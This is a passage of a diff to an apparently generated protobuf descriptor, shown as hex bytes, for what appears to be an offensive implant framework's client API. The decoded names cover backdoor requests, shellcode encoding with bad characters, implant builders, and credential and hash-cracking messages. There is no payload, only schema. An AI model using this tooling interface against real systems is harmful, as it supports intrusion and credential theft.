0x0a, 0x08, 0x46, 0x69, 0x6c, - 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, - 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, - 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, - 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, - 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, - 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, + 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, + 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, + 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, + 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, + 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, + 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, + 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, + 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, + 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, - 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, - 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, - 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, - 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, - 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, - 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, - 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, - 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, - 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, - 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, - 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, - 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, - 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, - 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, + 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, - 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, - 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, - 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 